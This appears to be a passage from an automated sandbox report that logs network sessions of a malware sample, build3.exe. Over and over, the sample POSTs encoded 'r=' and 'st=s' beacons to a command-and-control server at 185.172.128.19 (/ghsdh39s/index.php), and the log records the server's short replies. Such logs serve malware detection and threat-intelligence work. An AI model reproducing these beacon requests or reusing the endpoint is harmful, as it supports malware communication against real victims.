Dec 20, 2023 15:37:50.927135944 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:51.216434956 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	49991	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:51.615353107 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:51.905297995 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.4	49993	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:52.196398973 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:52.496964931 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	49994	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:52.898591042 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:53.186728954 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	49995	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:53.485719919 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:53.787535906 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	49996	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:54.198009014 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:54.496402979 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:37:54.499346972 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:54.793629885 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.4	49998	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:55.200753927 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:55.541054964 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.4	49999	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:55.837017059 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:56.130621910 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.4	50000	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:56.548737049 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:56.836606979 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.4	50001	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:57.137999058 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:57.430794954 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.4	50003	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:57.834713936 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:58.122711897 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.4	50004	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:58.428744078 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:58.723527908 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.4	50005	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:59.120132923 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:59.412198067 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.4	50006	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:59.706881046 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:00.000901937 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.4	50008	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:00.404726982 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:00.696702003 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:38:00.699279070 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:00.992697954 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.4	50009	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:01.404820919 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:01.697165966 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.4	50011	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:02.024312973 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:02.324486017 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.4	50013	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:02.789740086 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:03.077289104 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.4	50015	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:03.736936092 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:04.026735067 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	50016	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:05.065941095 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:05.353616953 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:38:05.356431007 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:05.647053957 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.4	50018	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:06.084614992 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:06.372663975 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.4	50019	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:06.663805962 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: 